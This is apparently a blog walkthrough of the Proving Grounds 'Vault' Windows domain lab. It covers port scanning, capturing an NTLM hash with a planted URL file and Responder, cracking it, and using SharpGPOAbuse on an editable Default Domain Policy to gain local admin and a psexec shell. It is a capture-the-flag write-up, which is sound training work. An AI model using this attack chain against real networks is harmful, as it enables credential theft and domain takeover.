Proving grounds Practice: Vault

- 4 mins

Walkthrough on Youtube



53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-08-13 04:53:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC

Domain name: vault.offsec

SMB share

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	DocumentsShare  Disk      
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 

Writing files to DocumentsShare

smb doc share

Obtain NTLM Hash via uploading URL file

Run responder as root to listed for events to capture the NTLM Hash.


IP address should be responder IP.

Obtain NTLM

Crack the hash using john

crack the hash

Connect to attacking machine using extracted credentials

Machine connect

Enumerate system user privileges

User Privilege

Privilege Escalation

Create a tmp directory in root directory and move Powerview.ps1 to the attacking machine.

Enumerate Group Policies

Default Domain Policy

PS C:\tmp> Get-GPO -Name "Default Domain Policy"

DisplayName      : Default Domain Policy
DomainName       : vault.offsec
Owner            : VAULT\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 11/19/2021 12:50:33 AM
ModificationTime : 11/19/2021 2:00:32 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 4, SysVol Version: 4
WmiFilter        :

Get GPPermission for anirudh

PS C:\tmp> Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh

Trustee     : anirudh
TrusteeType : User
Permission  : GpoEditDeleteModifySecurity
Inherited   : False

Permission : GpoEditDeleteModifySecurity

Abuse Group Policy

SharpGPOAbuse GitHub

Compile and download the binary to the attacking machine.

Download precompiled binary from here.

Abuse vulnerable GPO to create new local admin to the attacking machine

PS C:\tmp> ./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"


Force update group policy gpupdate /force

Check local group administrators list

PS C:\tmp> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

The command completed successfully.

Use Psexec to get interactive administrator shell.

python3 domain_name/username:password@IP


proof.txt obtained.

Thanks for reading!

For more insights and updates, follow me on Twitter: @thevillagehacker.

Naveen J

Naveen J

Security Researcher | Appsec Specialist@SISA Information Security | Web 3 Security Enthusiast